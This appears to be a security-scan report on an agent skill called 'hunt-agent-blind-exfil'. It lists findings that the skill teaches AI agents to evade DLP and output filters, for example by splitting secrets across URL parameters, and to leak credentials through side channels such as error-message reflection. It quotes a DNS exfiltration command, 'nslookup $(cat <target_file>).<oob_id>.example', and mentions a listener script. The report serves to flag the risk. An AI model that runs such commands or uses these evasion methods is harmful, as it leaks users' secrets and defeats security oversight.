The Agent Skills Directory

[PROMPT_INJECTION]: The skill explicitly instructs the agent on how to bypass Data Loss Prevention (DLP) layers and output filters. It provides techniques to "shape the request" (e.g., splitting a secret across multiple URL parameters) to evade regex-based security filters and guardrails.
[DATA_EXFILTRATION]: The skill is centered around extracting sensitive information (secrets, PII, cloud credentials) through side channels. It provides specific payloads such as nslookup $(cat <target_file>).<oob_id>.example to leak file contents via DNS queries and describes methods to route data through uninspected network tools.
[COMMAND_EXECUTION]: The instructions rely on executing shell commands through agent tools, specifically involving command substitution ($(cat ...)) and piping (cat | base64 | tr | head) to process and prepare sensitive data for exfiltration.
[PRIVILEGE_ESCALATION]: The provided Python listener script mentions the requirement for sudo to bind to port 53 (DNS), and the techniques encourage the exploration of restricted environments to find permission gaps.
[DYNAMIC_EXECUTION]: The skill includes a self-contained Python script designed to act as a DNS sink/listener to capture exfiltrated data, which is provided for runtime execution by the user or agent.
[INDIRECT_PROMPT_INJECTION]: The skill identifies and leverages "Error-message reflection" where tool outputs (like connection errors) are used to smuggle sensitive data back to the user/attacker when direct output is blocked, effectively using tool responses to influence the information flow.

hunt-agent-blind-exfil